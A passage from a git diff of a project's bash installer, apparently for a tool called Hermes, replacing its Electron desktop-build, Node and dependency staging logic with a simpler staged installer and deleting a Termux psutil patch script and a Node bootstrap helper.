hang the installer with no progress, same class as the desktop build. - if ! run_with_timeout "$NODE_DEPS_TIMEOUT" "$npm_bin" install -g --prefix "$HERMES_HOME/node" --silent --ignore-scripts \ - "@askjo/camofox-browser@^1.5.2" \ - >"$log_file" 2>&1; then - log_error "npm install failed or timed out:" - cat "$log_file" >&2 - rm -f "$log_file" - return 1 - fi - rm -f "$log_file" - export PATH="$HERMES_HOME/node/bin:$PATH" - - strip_snap_browser_override - local sys_browser - sys_browser="$(find_system_browser 2>/dev/null || true)" - if [ -n "$sys_browser" ]; then - configure_browser_env_from_system_browser "$sys_browser" - log_info "Explicit browser override set -- Chromium download will be skipped when agent-browser installs on demand" - fi - - return 0 -} - -ensure_mode() { - detect_os - - IFS=',' read -ra DEPS <<< "$ENSURE_DEPS" - for dep in "${DEPS[@]}"; do - dep="$(echo "$dep" | tr -d '[:space:]')" - case "$dep" in - node) - check_node - ;; - browser) - check_node - if [ "$HAS_NODE" = true ]; then - ensure_browser - fi - ;; - ripgrep) - if ! command -v rg &>/dev/null; then - HAS_RIPGREP=false - HAS_FFMPEG=true - install_system_packages - fi - ;; - ffmpeg) - if ! command -v ffmpeg &>/dev/null; then - HAS_FFMPEG=false - HAS_RIPGREP=true - install_system_packages - fi - ;; - *) - log_warn "Unknown dependency: $dep" - ;; - esac - done -} - - -# Clear the cached Electron download + any half-written unpacked output so the -# next `npm run pack` re-downloads and re-stages from scratch. A corrupt zip in -# the per-user Electron download cache - most often a partial/resumed download -# that leaves concatenated junk - makes electron-builder's `unpack-electron` -# extract a tree MISSING the electron binary, so the `electron`->`Hermes` rename -# dies with ENOENT and every re-run repeats the broken extraction forever. This -# is the bash sibling of install.ps1's Clear-ElectronBuildCache and the Python -# _purge_electron_build_cache() used by `hermes desktop`; install.sh was the only -# build path lacking it. Echoes the removed paths (one per line); best-effort. -clear_electron_build_cache() { - local desktop_dir="$1" - local removed="" - - # Per-user Electron download cache dirs, honoring the overrides @electron/get - # respects, then the platform defaults (macOS: ~/Library/Caches/electron, - # Linux: $XDG_CACHE_HOME/electron or ~/.cache/electron). - local cache_dirs=() - [ -n "${electron_config_cache:-}" ] && cache_dirs+=("$electron_config_cache") - [ -n "${ELECTRON_CACHE:-}" ] && cache_dirs+=("$ELECTRON_CACHE") - if [ "$OS" = "macos" ]; then - cache_dirs+=("$HOME/Library/Caches/electron") - else - [ -n "${XDG_CACHE_HOME:-}" ] && cache_dirs+=("$XDG_CACHE_HOME/electron") - cache_dirs+=("$HOME/.cache/electron") - fi - - local dir zip - for dir in "${cache_dirs[@]}"; do - [ -d "$dir" ] || continue - # Recurse: the bad copy may be the top-level zip OR a copy inside an - # @electron/get hash subdir. - while IFS= read -r zip; do - [ -n "$zip" ] || continue - if rm -f "$zip" 2>/dev/null; then - removed="$removed$zip -" - fi - done </dev/null) -EOF - done - - # A half-written unpacked dir from an interrupted prior pack poisons the - # rename even after the zip is fixed (mac-arm64-unpacked / linux-unpacked). - local release_dir="$desktop_dir/release" - if [ -d "$release_dir" ]; then - local unpacked - while IFS= read -r unpacked; do - [ -n "$unpacked" ] || continue - if rm -rf "$unpacked" 2>/dev/null; then - removed="$removed$unpacked -" - fi - done </dev/null) -EOF - fi - - printf '%s' "$removed" -} - -# Run the desktop pack in $1 (the apps/desktop dir). `npm run pack` = tsc + -# vite build + electron-builder --dir, producing an unpacked app for the -# current OS. Signing auto-discovery is disabled so electron-builder falls back -# to an ad-hoc signature instead of grabbing an unrelated Developer ID from the -# keychain (a real signed/notarized .dmg needs Apple credentials — a separate -# release concern). Optional $2 = an ELECTRON_MIRROR base URL for this attempt, -# used as a fallback when the default GitHub release download is blocked. -_desktop_pack() { - local desktop_dir="$1" - local mirror="${2:-}" - if [ -n "$mirror" ]; then - ( cd "$desktop_dir" && ELECTRON_MIRROR="$mirror" CSC_IDENTITY_AUTO_DISCOVERY=false npm run pack ) - else - ( cd "$desktop_dir" && CSC_IDENTITY_AUTO_DISCOVERY=false npm run pack ) - fi -} - -# Last-resort Electron mirror after GitHub download fails (#47266). -DESKTOP_ELECTRON_FALLBACK_MIRROR="https://npmmirror.com/mirrors/electron/" - -# Per-attempt wall-clock cap for the desktop npm install / electron-builder pack -# (#39219). A stalled (not failed) Electron download on a throttled/blocked link -# never returns, so without this the installer hangs forever on "Build desktop -# app". 900s is generous enough for a slow-but-progressing ~150MB fetch + build; -# override with DESKTOP_BUILD_TIMEOUT for very slow links. -DESKTOP_BUILD_TIMEOUT="${DESKTOP_BUILD_TIMEOUT:-900}" - -# Wall-clock cap for the plain registry `npm install`s (browser-tools + TUI -# deps). Same #39219 stall class but no ~150MB Electron binary, so a shorter -# default; override with NODE_DEPS_TIMEOUT for very slow links. -NODE_DEPS_TIMEOUT="${NODE_DEPS_TIMEOUT:-600}" - -# Electron package dir — workspace-local nest first, then root hoist. -_electron_dir() { - local install_dir="$1" - if [ -d "$install_dir/apps/desktop/node_modules/electron" ]; then - printf '%s\n' "$install_dir/apps/desktop/node_modules/electron" - else - printf '%s\n' "$install_dir/node_modules/electron" - fi -} - -# True when dist/ holds a usable Electron binary (#38673 / run-electron-builder.mjs). -_electron_dist_ok() { - local install_dir="$1" - local electron_dir - electron_dir="$(_electron_dir "$install_dir")" - if [ "$OS" = "macos" ]; then - [ -e "$electron_dir/dist/Electron.app/Contents/MacOS/Electron" ] - else - [ -e "$electron_dir/dist/electron" ] - fi -} - -# Best-effort: run electron/install.js to populate dist/ (optional mirror). -_restore_electron_dist() { - local install_dir="$1" - local mirror="${2:-}" - local electron_dir - electron_dir="$(_electron_dir "$install_dir")" - _electron_dist_ok "$install_dir" && return 0 - - [ -f "$electron_dir/install.js" ] || return 1 - command -v node >/dev/null 2>&1 || return 1 - - rm -rf "$electron_dir/dist" 2>/dev/null || true - rm -f "$electron_dir/path.txt" 2>/dev/null || true - - if [ -n "$mirror" ]; then - ( cd "$electron_dir" && ELECTRON_MIRROR="$mirror" node install.js ) || true - else - ( cd "$electron_dir" && node install.js ) || true - fi - _electron_dist_ok "$install_dir" -} - -_electron_pkg_staged_missing_dist() { - local install_dir="$1" - local electron_dir - electron_dir="$(_electron_dir "$install_dir")" - [ -f "$electron_dir/package.json" ] && [ -f "$electron_dir/install.js" ] && ! _electron_dist_ok "$install_dir" -} - -_restore_electron_dist_with_fallback() { - local install_dir="$1" - _restore_electron_dist "$install_dir" \ - || { [ -z "${ELECTRON_MIRROR:-}" ] && _restore_electron_dist "$install_dir" "$DESKTOP_ELECTRON_FALLBACK_MIRROR"; } -} - -# Build apps/desktop into a launchable native app. Mirrors install.ps1's -# Install-Desktop: a root-level npm install so the apps/* workspace resolves -# the desktop's own deps (Electron ~150MB), then `npm run pack` -# (electron-builder --dir) which emits an unpacked app for the current OS. Only invoked -# via the 'desktop' stage / --include-desktop, which the Electron app's own -# first-launch bootstrap never requests (it must not rebuild itself). -install_desktop_voice_deps() { - # Desktop ships with working voice out of the box: eagerly install the - # wake-word + local-STT stacks ([wake] + [voice] extras) instead of - # leaving them to lazy first-use install. Policy change (Teknium, July - # 2026, #70509 testing): the first ear-click used to trigger a - # multi-minute onnxruntime pip install that froze the UI and blew RPC - # timeouts. Lazy install remains the fallback for CLI-only installs and - # for anything this best-effort step fails to fetch. - local _prev_venv="${VIRTUAL_ENV:-}" - if [ "$USE_VENV" = true ]; then - export VIRTUAL_ENV="$INSTALL_DIR/venv" - fi - if [ -z "${UV_CMD:-}" ]; then - install_uv || true - fi - if [ -z "${UV_CMD:-}" ]; then - log_warn "uv unavailable — voice/wake deps will lazy-install at first use instead" - return 0 - fi - log_info "Installing voice + wake-word dependencies (onnxruntime, faster-whisper — 1-3min)..." - if (cd "$INSTALL_DIR" && $UV_CMD pip install -e ".[wake,voice]") ; then - log_success "Voice + wake-word dependencies installed" - else - log_warn "Voice/wake dependency install failed — they will lazy-install at first use" - fi - if [ "$USE_VENV" = true ] && [ -z "$_prev_venv" ]; then - unset VIRTUAL_ENV - fi - return 0 -} - -install_desktop() { - local desktop_dir="$INSTALL_DIR/apps/desktop" - - # The desktop stage only runs when a build is explicitly requested - # (--include-desktop / 'desktop' stage), so a missing toolchain is a hard - # failure, not a silent skip — a silent skip yields a "complete" install - # with no app and a confusing "couldn't find a built desktop" at launch. - # Always re-resolve Node here. Stages run in separate processes, so we can't - # trust an earlier check; more importantly check_node now enforces the - # supported Node lines and prepends the Hermes-managed Node to PATH, so - # the build never runs on a too-old system Node — the cause of the opaque - # "Build desktop app … exit code 1" failure (Vite crashes on old Node). - check_node - if ! command -v npm >/dev/null 2>&1; then - log_error "Cannot build desktop app: Node.js / npm unavailable" - log_info "Install Node.js and retry: cd $desktop_dir && npm run pack" - return 1 - fi - if [ ! -f "$desktop_dir/package.json" ]; then - log_warn "Skipping desktop build (apps/desktop not present in checkout)" - return 0 - fi - - # 1. Root workspace install so apps/desktop's deps (Electron, Vite, - # node-pty prebuilds) resolve. The browser-tools install runs in the - # repo-root package workspace, which does not pull apps/* deps. - # - # Prefer `npm ci`: it deletes node_modules and reinstalls from the - # lockfile, so it always produces a complete tree. Bare `npm install` - # can report "up to date" against a stale node_modules/.package-lock.json - # marker while node_modules is actually empty (Windows workspace-hoisting - # flake) — leaving tsc/typescript unresolved and `npm run pack`'s - # `tsc -b` failing with no obvious cause. Fall back to `npm install` - # only if `npm ci` is unavailable or the lockfile is out of sync. - # - # Both the install and the build below are wrapped in a hard wall-clock - # timeout (#39219): the Electron binary (~150MB) is fetched from GitHub, - # and on a throttled/blocked connection that download can *stall* — npm - # neither errors nor exits, so the installer sits on "Build desktop app" - # forever with only `npm warn deprecated` lines visible. A stall now - # converts to a non-zero exit, which feeds the existing self-heal / - # mirror-fallback escalation instead of hanging the whole install. - # - # The `npm ci` and its `npm install` fallback SHARE one budget: a stalled - # link wedges both identically, so giving each a full DESKTOP_BUILD_TIMEOUT - # would double the worst-case hang. We compute a single deadline and pass - # the remaining seconds to the fallback (min 30s so it still gets a real - # attempt if `npm ci` failed fast rather than stalling). - log_info "Installing desktop workspace dependencies (includes Electron ~150MB, 1-3min)..." - local _deps_start _deps_remaining - _deps_start=$(date +%s) - if run_with_timeout "$DESKTOP_BUILD_TIMEOUT" bash -c 'cd "$1" && npm ci' _ "$INSTALL_DIR"; then - log_success "Desktop workspace dependencies installed" - elif _deps_remaining=$(( DESKTOP_BUILD_TIMEOUT - ($(date +%s) - _deps_start) )); \ - [ "$_deps_remaining" -lt 30 ] && _deps_remaining=30; \ - run_with_timeout "$_deps_remaining" bash -c 'cd "$1" && npm install' _ "$INSTALL_DIR"; then - log_success "Desktop workspace dependencies installed" - elif _electron_pkg_staged_missing_dist "$INSTALL_DIR"; then - log_warn "Desktop dependency install failed with a missing Electron dist; attempting self-heal..." - _restore_electron_dist_with_fallback "$INSTALL_DIR" || true - else - log_error "Desktop workspace npm install failed" - # Common cause: a previous 'sudo npm'/'sudo npx' left root-owned files in - # ~/.npm, so this non-root install can't write the shared cache. npm hides - # it behind a confusing EEXIST / "File exists" message while the real errno - # is EACCES (-13). Point the user at the fix instead of a raw npm trace. - log_info "If the errors above mention EACCES / 'permission denied' / EEXIST while" - log_info "writing the npm cache, your ~/.npm likely holds root-owned files from an" - log_info "earlier 'sudo npm' or 'sudo npx'. Reclaim ownership and retry:" - log_info " sudo chown -R \"\$(id -un)\" ~/.npm && npm cache verify" - log_info "Then re-run this installer, or build manually:" - log_info " cd \"$INSTALL_DIR\" && npm ci && cd apps/desktop && npm run pack" - return 1 - fi - - # 2. Build, with up to three escalating attempts so a transient/blocked - # Electron download self-heals instead of failing the whole install: - # a) plain `npm run pack` (downloads Electron from GitHub), - # b) on failure, purge a corrupt cached zip + stale unpacked dir and - # retry (matches install.ps1 / `hermes desktop`), - # c) on still-failing, fall back to a public Electron mirror — this is - # the GitHub-blocked/throttled case (the repeating "retrying" log). - log_info "Building desktop app (this takes 1-3 minutes)..." - local pack_ok=false - if run_with_timeout "$DESKTOP_BUILD_TIMEOUT" _desktop_pack "$desktop_dir"; then - pack_ok=true - else - local purged="" - local restored=false - if ! _electron_dist_ok "$INSTALL_DIR"; then - purged="$(clear_electron_build_cache "$desktop_dir")" - if _restore_electron_dist "$INSTALL_DIR"; then restored=true; fi - fi - if [ "$restored" = true ]; then - log_warn "Desktop build failed; refreshed the Electron download and retrying once..." - if run_with_timeout "$DESKTOP_BUILD_TIMEOUT" _desktop_pack "$desktop_dir"; then - pack_ok=true - fi - fi - fi - - # (c) GitHub blocked → mirror fallback (#47266). - if [ "$pack_ok" = false ] && [ -z "${ELECTRON_MIRROR:-}" ]; then - log_warn "Desktop build still failing — the Electron download from GitHub looks blocked." - log_warn "Re-downloading Electron via a public mirror ($DESKTOP_ELECTRON_FALLBACK_MIRROR), then rebuilding..." - log_warn " (set ELECTRON_MIRROR yourself to use a different/trusted mirror)" - _electron_dist_ok "$INSTALL_DIR" || _restore_electron_dist "$INSTALL_DIR" "$DESKTOP_ELECTRON_FALLBACK_MIRROR" || true - if run_with_timeout "$DESKTOP_BUILD_TIMEOUT" _desktop_pack "$desktop_dir" "$DESKTOP_ELECTRON_FALLBACK_MIRROR"; then - pack_ok=true - fi - fi - - if [ "$pack_ok" = false ]; then - log_error "Desktop app build failed" - # If the log shows repeated "retrying" lines fetching the Electron zip, - # the binary download is blocked/throttled (firewall, proxy, region) and - # the mirror fallback above also couldn't reach a host. Try a mirror you - # trust and rebuild (@electron/get honors ELECTRON_MIRROR): - log_info "If the log shows Electron download retries, rebuild via a reachable mirror:" - log_info " ELECTRON_MIRROR= \\" - log_info " bash -c 'cd \"$desktop_dir\" && CSC_IDENTITY_AUTO_DISCOVERY=false npm run pack'" - log_info "Otherwise build manually: cd $desktop_dir && npm run pack" - return 1 - fi - - local app="" - if [ "$OS" = "linux" ]; then - if [ -x "$desktop_dir/release/linux-unpacked/Hermes" ]; then - app="$desktop_dir/release/linux-unpacked/Hermes" - elif [ -x "$desktop_dir/release/linux-unpacked/hermes" ]; then - app="$desktop_dir/release/linux-unpacked/hermes" - fi - else - local cand - for cand in \ - "$desktop_dir/release/mac-arm64/Hermes.app" \ - "$desktop_dir/release/mac/Hermes.app"; do - if [ -d "$cand" ]; then - app="$cand" - break - fi - done - fi - if [ -z "$app" ]; then - log_error "Desktop build completed but no app was found under $desktop_dir/release/" - return 1 - fi - log_success "Desktop app built: $app" - - # Linux: Electron's chrome-sandbox helper needs root:root 4755 or the - # sandboxed renderer will abort on startup. Check the file is a regular - # file (not a symlink) before chown/chmod so we don't follow an - # attacker-controlled link to an arbitrary path. - if [ "$OS" = "linux" ]; then - local sandbox="$desktop_dir/release/linux-unpacked/chrome-sandbox" - if [ -f "$sandbox" ] && [ ! -L "$sandbox" ]; then - if [ "$(id -u)" -eq 0 ]; then - chown root:root "$sandbox" && chmod 4755 "$sandbox" || { - log_error "Cannot configure Electron sandbox helper: $sandbox" - return 1 - } - elif command -v sudo >/dev/null 2>&1; then - sudo chown root:root "$sandbox" && sudo chmod 4755 "$sandbox" || { - log_error "Cannot configure Electron sandbox helper (sudo failed): $sandbox" - return 1 - } - else - log_error "Cannot configure Electron sandbox helper without sudo: $sandbox" - return 1 - fi - fi - fi - - # macOS: route through the same config-aware signing fixup as - # `hermes desktop`, so install/repair and self-update agree about the app's - # identity. The fixup preserves the Electron entitlement plists and signs - # with a stable Designated Requirement (configured keychain identity, else - # identifier-pinned ad-hoc), so macOS TCC grants — Full Disk Access, - # Desktop/Downloads/Documents, Accessibility, microphone — survive the - # rebuild instead of resetting on every update. The shell's - # publisher-signing decision governed the build and is passed explicitly so - # importing Python cannot reverse it by loading HERMES_HOME/.env. If the - # helper is unavailable or fails, branch into the historical quarantine - # strip + deep ad-hoc repair so a broken venv never leaves the bundle - # unsigned/unlaunchable. - if [ "$OS" = "macos" ] && [ -z "${CSC_LINK:-}" ] && [ -z "${APPLE_SIGNING_IDENTITY:-}" ] && command -v codesign >/dev/null 2>&1; then - local config_python="$INSTALL_DIR/venv/bin/python" - local fixup_ok="" - if [ -x "$config_python" ]; then - if HERMES_HOME="$HERMES_HOME" "$config_python" - "$desktop_dir" <<'PYEOF' -import sys -from pathlib import Path -from hermes_cli.main import _desktop_macos_relaunchable_fixup -ok = _desktop_macos_relaunchable_fixup( - Path(sys.argv[1]), publisher_signing_configured=False -) -sys.exit(0 if ok else 1) -PYEOF - then - fixup_ok=1 - else - log_warn "Config-aware macOS signing fixup failed; applying the historical ad-hoc fallback." - fi - fi - if [ -z "$fixup_ok" ]; then - xattr -cr "$app" 2>/dev/null || true - codesign --force --deep --sign - "$app" >/dev/null 2>&1 || true - fi - fi - - # `npm install` + `npm run pack` rewrite lockfiles; restore them so the - # checkout stays clean for the next `hermes update`. - restore_dirty_lockfiles "$INSTALL_DIR" -} - -# Each --stage runs in its own process, so (unlike the monolithic main() where -# clone_repo cd's once and later steps inherit it) a stage that operates on the -# checkout must cd into it explicitly. Without this, install_deps/setup_path run -# from the desktop app's cwd and resolve `.` / the venv against the wrong tree. -require_install_dir() { - if [ -z "$INSTALL_DIR" ] || [ ! -d "$INSTALL_DIR" ]; then - log_error "Install directory not found: ${INSTALL_DIR:-}" - log_info "The 'repository' stage must run before this one." - return 1 - fi - cd "$INSTALL_DIR" -} - -# Desktop bootstrap stage protocol. Mirrors the Windows install.ps1 surface -# closely enough for the Electron bootstrap runner to show structured progress. -run_stage_body() { - local stage="$1" - - case "$stage" in - prerequisites) - print_banner - detect_os - resolve_install_layout - install_uv - check_python - check_git - check_node - check_cxx_compiler - check_network_prerequisites - install_system_packages - ;; - repository) - detect_os - resolve_install_layout - check_git - clone_repo - ;; - venv) - detect_os - resolve_install_layout - require_install_dir - install_uv - check_python - setup_venv - ;; - python-deps) - detect_os - resolve_install_layout - require_install_dir - install_uv - check_python - install_deps - ;; - node-deps) - detect_os - resolve_install_layout - require_install_dir - check_node - install_node_deps || return - install_uv - install_browser_use_cli - install_computer_use_driver - ;; - path) - detect_os - resolve_install_layout - require_install_dir - setup_path - ;; - config) - detect_os - resolve_install_layout - require_install_dir - copy_config_templates - ;; - setup) - detect_os - resolve_install_layout - require_install_dir - run_setup_wizard - ;; - gateway) - detect_os - resolve_install_layout - require_install_dir - maybe_start_gateway - ;; - desktop) - detect_os - resolve_install_layout - require_install_dir - # Each stage runs in its own process, so the Hermes-managed Node - # provisioned during prerequisites/node-deps (at $HERMES_HOME/node/bin) - # isn't on PATH here. check_node re-adds it (or installs if missing) - # so install_desktop can find npm instead of silently skipping. - check_node - install_desktop_voice_deps - install_desktop - ;; - complete) - detect_os - resolve_install_layout - print_success - write_bootstrap_marker - # Code-scoped stamp: write next to the install tree, not into - # $HERMES_HOME. $HERMES_HOME is a shared data dir (it can be - # bind-mounted into a Docker gateway too), so a stamp there gets - # clobbered by the container's 'docker' stamp and wrongly blocks - # 'hermes update' on this host install. See detect_install_method(). - echo "git" > "$INSTALL_DIR/.install_method" - ;; - *) - log_error "Unknown stage: $stage" - return 2 - ;; - esac -} - -run_stage_protocol() { - local stage="$1" - if [ -z "$stage" ]; then - log_error "--stage requires a stage name" - if [ "$JSON_OUTPUT" = true ]; then - emit_stage_json "" false false "missing stage name" - fi - return 2 - fi - - if [ "$NON_INTERACTIVE" = true ] && stage_needs_user_input "$stage"; then - log_info "Skipping $stage (non-interactive bootstrap)" - if [ "$JSON_OUTPUT" = true ]; then - emit_stage_json "$stage" true true - fi - return 0 - fi - - # Run the stage body in a subshell so a stage helper that calls `exit 1` - # on failure (clone_repo, install_deps, etc. were written for the monolithic - # flow) only exits the subshell — the parent still reaches the JSON result - # frame below. Without this, a failed --stage would terminate the process - # before emitting the frame and the Rust/Electron parser would see "no - # result frame" instead of a clean {ok:false} contract response. - set +e - ( run_stage_body "$stage" ) - local code=$? - set -e - - if [ "$JSON_OUTPUT" = true ]; then - if [ "$code" -eq 0 ]; then - emit_stage_json "$stage" true false - else - emit_stage_json "$stage" false false "exit code $code" - fi - fi - return "$code" -} - -# ============================================================================ -# Main -# ============================================================================ - -main() { - print_banner - - detect_os - resolve_install_layout - install_uv - check_python - check_git - check_node - check_cxx_compiler - check_network_prerequisites - install_system_packages - - clone_repo - setup_venv - install_deps - install_node_deps || return - install_browser_use_cli - install_computer_use_driver - setup_path - copy_config_templates - run_setup_wizard - maybe_start_gateway - - if [ "$INCLUDE_DESKTOP" = true ]; then - install_desktop_voice_deps - install_desktop - fi - - print_success - - write_bootstrap_marker - - # Code-scoped stamp: write next to the install tree, not into $HERMES_HOME. - # $HERMES_HOME is a shared data dir (it can be bind-mounted into a Docker - # gateway too), so a stamp there gets clobbered by the container's 'docker' - # stamp and wrongly blocks 'hermes update' on this host install. - # See detect_install_method(). - echo "git" > "$INSTALL_DIR/.install_method" -} - -if [ "$MANIFEST_MODE" = true ]; then - emit_manifest -elif [ -n "$STAGE_NAME" ]; then - run_stage_protocol "$STAGE_NAME" -elif [ -n "$ENSURE_DEPS" ]; then - ensure_mode -else - main +runtime="\${HERMES_RUNTIME_DIR:-}" +if [ -z "\$runtime" ] && [ -f "\$repo/install-stamp.json" ]; then + runtime="\$(sed -n 's/.*"runtimeDir"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "\$repo/install-stamp.json" | head -n 1)" fi +[ -n "\$runtime" ] || runtime="\$HOME/.hermes/tools" +store_py="" +if [ -f "\$runtime/facts.json" ]; then + entry="\$(sed -n 's/.*"entry"[[:space:]]*:[[:space:]]*"\(python-[^"]*\)".*/\1/p' "\$runtime/facts.json" | head -n 1)" + if [ -n "\$entry" ] && [ -x "\$runtime/\$entry/bin/python3" ]; then + store_py="\$runtime/\$entry/bin/python3" + fi +fi +if [ -z "\$store_py" ]; then + for d in "\$runtime"/python-*/bin/python3; do + [ -x "\$d" ] && store_py="\$d" + done +fi +if [ -z "\$store_py" ]; then + echo "hermes: no pm store interpreter under \$runtime - run 'hermes pm install' first" >&2 + exit 1 +fi +site="" +for d in "\$repo"/venv/lib/python3.*/site-packages "\$repo"/.venv/lib/python3.*/site-packages; do + [ -d "\$d" ] && site="\$d" +done +export PYTHONPATH="\$repo\${site:+:\$site}" +exec "\$store_py" "\$repo/hermes" "\$@" +WRAPPER + chmod +x "$link_dir/hermes" + case ":$PATH:" in + *":$link_dir:"*) : ;; + *) log "add $link_dir to your PATH to use the hermes command" ;; + esac + log "hermes command installed at $link_dir/hermes" +} + +stage_config() { + mkdir -p "$HERMES_HOME"/cron "$HERMES_HOME"/sessions "$HERMES_HOME"/logs \ + "$HERMES_HOME"/pairing "$HERMES_HOME"/hooks "$HERMES_HOME"/image_cache \ + "$HERMES_HOME"/audio_cache "$HERMES_HOME"/memories "$HERMES_HOME"/skills + if [ ! -f "$HERMES_HOME/.env" ]; then + cp "$INSTALL_DIR/.env.example" "$HERMES_HOME/.env" 2>/dev/null || touch "$HERMES_HOME/.env" + fi + chmod 600 "$HERMES_HOME/.env" + if [ ! -f "$HERMES_HOME/config.yaml" ] && [ -f "$INSTALL_DIR/cli-config.yaml.example" ]; then + cp "$INSTALL_DIR/cli-config.yaml.example" "$HERMES_HOME/config.yaml" + fi + log "config prepared in $HERMES_HOME" +} + +stage_setup() { + if [ "$NON_INTERACTIVE" = true ]; then return 0; fi + "$INSTALL_DIR/venv/bin/python" "$INSTALL_DIR/hermes" setup || true +} + +stage_gateway() { + if [ "$NON_INTERACTIVE" = true ]; then return 0; fi + "$INSTALL_DIR/venv/bin/python" "$INSTALL_DIR/hermes" gateway install || true +} + +stage_desktop() { + "$INSTALL_DIR/venv/bin/python" "$INSTALL_DIR/hermes" desktop build || fail "desktop build failed" +} + +stage_complete() { + local commit + commit="$INSTALL_COMMIT" + [ -n "$commit" ] || commit=$(git -C "$INSTALL_DIR" rev-parse HEAD 2>/dev/null) || commit="" + if [ -n "$commit" ]; then + printf '{\n "schemaVersion": 1,\n "pinnedCommit": "%s",\n "pinnedBranch": "%s",\n "completedAt": "%s"\n}\n' \ + "$commit" "$BRANCH" "$(date -u +%Y-%m-%dT%H:%M:%S.000Z)" > "$INSTALL_DIR/.hermes-bootstrap-complete.tmp" + mv -f "$INSTALL_DIR/.hermes-bootstrap-complete.tmp" "$INSTALL_DIR/.hermes-bootstrap-complete" + fi + log "install complete. Run: hermes" +} + +run_stage() { + case "$1" in + prerequisites) stage_prerequisites ;; + repository) stage_repository ;; + venv) stage_venv ;; + python-deps) stage_python_deps ;; + node-deps) stage_node_deps ;; + path) stage_path ;; + config) stage_config ;; + setup) stage_setup ;; + gateway) stage_gateway ;; + desktop) stage_desktop ;; + complete) stage_complete ;; + *) echo "unknown stage: $1" >&2; exit 2 ;; + esac +} + +if [ "$WANT_MANIFEST" = true ]; then + emit_manifest + exit 0 +fi + +check_platform + +if [ -n "$STAGE" ]; then + if [ "$NON_INTERACTIVE" = true ] && { [ "$STAGE" = setup ] || [ "$STAGE" = gateway ]; }; then + [ "$JSON" = true ] && json_frame true "$STAGE" true "needs user input" + exit 0 + fi + if run_stage "$STAGE"; then + [ "$JSON" = true ] && json_frame true "$STAGE" false + exit 0 + else + rc=$? + [ "$JSON" = true ] && json_frame false "$STAGE" false "stage failed" + exit "$rc" + fi +fi + +# No --stage: run the whole ladder. +for s in prerequisites repository venv python-deps node-deps path config setup gateway complete; do + run_stage "$s" +done diff --git a/scripts/install_psutil_android.py b/scripts/install_psutil_android.py deleted file mode 100755 index 6423b360ad..0000000000 --- a/scripts/install_psutil_android.py +++ /dev/null @@ -1,102 +0,0 @@ -#!/usr/bin/env python3 -"""Install psutil on Termux/Android by patching upstream platform detection. - -psutil's setup currently gates Linux sources behind -``sys.platform.startswith('linux')``. On Termux, Python reports -``sys.platform == 'android'``, so ``pip install psutil`` aborts with -"platform android is not supported" — even though psutil compiles fine -when the Linux source path is reused. - -This script downloads the official psutil sdist, applies a one-line -patch (``LINUX = sys.platform.startswith(("linux", "android"))``), and -installs the patched tree with ``pip install --no-build-isolation``. - -Usage: - python scripts/install_psutil_android.py [--pip "/path/to/pip"] [--uv] - -When neither flag is given, the script auto-detects ``uv`` on PATH and -falls back to `` -m pip``. - -This is a stopgap. Remove once psutil upstream merges -https://github.com/giampaolo/psutil/pull/2762 and ships a release. -""" - -from __future__ import annotations - -import argparse -import shutil -import subprocess -import sys -import tempfile -import urllib.request -from pathlib import Path - -# Keep sibling imports working when invoked as -# ``python scripts/install_psutil_android.py`` from the repo checkout. -REPO_ROOT = Path(__file__).resolve().parents[1] -if str(REPO_ROOT) not in sys.path: - sys.path.insert(0, str(REPO_ROOT)) - -from hermes_cli.psutil_android import ( - PSUTIL_URL, - PsutilAndroidInstallError, - prepare_patched_psutil_sdist, -) - - - -def _resolve_install_cmd(pip_arg: str | None, prefer_uv: bool) -> list[str]: - if pip_arg: - return pip_arg.split() - if prefer_uv: - uv = shutil.which("uv") - if not uv: - sys.exit("--uv requested but no uv on PATH") - return [uv, "pip"] - auto_uv = shutil.which("uv") - if auto_uv: - return [auto_uv, "pip"] - return [sys.executable, "-m", "pip"] - - -def main() -> int: - parser = argparse.ArgumentParser(description=__doc__) - parser.add_argument( - "--pip", - help="Explicit installer command (e.g. '/usr/bin/uv pip' or 'python -m pip')", - ) - parser.add_argument( - "--uv", - action="store_true", - help="Force using uv (errors out if uv is not on PATH)", - ) - args = parser.parse_args() - - install_cmd_prefix = _resolve_install_cmd(args.pip, args.uv) - - print( - "→ Termux/Android: prebuilding psutil with Linux source path " - "compatibility shim (see psutil#2762)..." - ) - - with tempfile.TemporaryDirectory() as tmp: - tmp_path = Path(tmp) - archive = tmp_path / "psutil.tar.gz" - urllib.request.urlretrieve(PSUTIL_URL, archive) - try: - src_root = prepare_patched_psutil_sdist(archive, tmp_path) - except PsutilAndroidInstallError as exc: - sys.exit(str(exc)) - - cmd = install_cmd_prefix + ["install", "--no-build-isolation", str(src_root)] - print(f" $ {' '.join(cmd)}") - result = subprocess.run(cmd) - if result.returncode != 0: - return result.returncode - - print("✓ psutil installed via Android compatibility shim") - return 0 - - -if __name__ == "__main__": - raise SystemExit(main()) diff --git a/scripts/lib/node-bootstrap.sh b/scripts/lib/node-bootstrap.sh deleted file mode 100644 index a9a10d3fb1..0000000000 --- a/scripts/lib/node-bootstrap.sh +++ /dev/null @@ -1,437 +0,0 @@ -#!/usr/bin/env bash -# ============================================================================ -# scripts/lib/node-bootstrap.sh -# ---------------------------------------------------------------------------- -# Sourceable helper: ensure Node.js >= MIN_VERSION is available for the TUI -# (React + Ink), browser tools, and the WhatsApp bridge. -# -# Strategy (first hit wins — respects the user's existing tooling): -# 1. modern `node` already on PATH -# 2. ~/.hermes/node/ from a prior Hermes-managed install -# 3. fnm, proto, nvm (in that order) if the user already uses a version manager -# 4. Termux `pkg`, macOS Homebrew -# 5. pinned nodejs.org tarball into ~/.hermes/node/ (always works, zero shell rc edits) -# -# Usage: -# source scripts/lib/node-bootstrap.sh -# ensure_node # returns 0 on success, non-zero on failure -# if [ "$HERMES_NODE_AVAILABLE" = true ]; then ...; fi -# -# Env inputs (set before sourcing to override defaults): -# HERMES_NODE_MIN_VERSION (default: 20) — accepted on PATH -# HERMES_NODE_TARGET_MAJOR (default: 22) — installed when we install -# HERMES_HOME (default: $HOME/.hermes) -# ============================================================================ - -HERMES_NODE_MIN_VERSION="${HERMES_NODE_MIN_VERSION:-20}" -HERMES_NODE_TARGET_MAJOR="${HERMES_NODE_TARGET_MAJOR:-22}" -HERMES_HOME="${HERMES_HOME:-$HOME/.hermes}" -HERMES_NODE_AVAILABLE=false - -# --------------------------------------------------------------------------- -# Logging — prefer the host script's log_* helpers when present -# --------------------------------------------------------------------------- - -_nb_log() { declare -F log_info >/dev/null 2>&1 && log_info "$*" || printf '→ %s\n' "$*" >&2; } -_nb_ok() { declare -F log_success 